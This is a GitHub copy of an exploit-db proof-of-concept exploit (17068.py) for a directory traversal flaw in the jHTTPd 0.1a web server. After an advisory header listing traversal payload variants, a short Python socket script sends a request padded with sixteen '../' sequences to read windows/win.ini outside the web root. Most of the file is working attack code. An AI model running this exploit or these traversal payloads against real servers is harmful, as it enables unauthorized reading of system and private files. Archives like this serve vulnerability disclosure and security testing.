forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path17068.py
More file actions
executable file
·45 lines (40 loc) · 1.19 KB
/
Copy path17068.py
File metadata and controls
executable file
·45 lines (40 loc) · 1.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# ------------------------------------------------------------------------
# Software................jHTTPd 0.1a
# Vulnerability...........Directory Traversal
# Threat Level............Serious (3/5)
# Download................http://developer.gauner.org/jhttpd/
# Discovery Date..........3/28/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A directory traversal vulnerability in jHTTPd 0.1a can be exploited to
# read files outside of the web root.
#
#
# --Exploit--
#
# ..\/
# ..//
# ..\
# ../
#
#
# --PoC--
import socket, urllib
host = 'localhost'
port = 8082
file = 'windows/win.ini'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
print 'sending'
s.send('GET ' + '../' * 16 + file + ' HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')
print s.recv(8192) + s.recv(8192)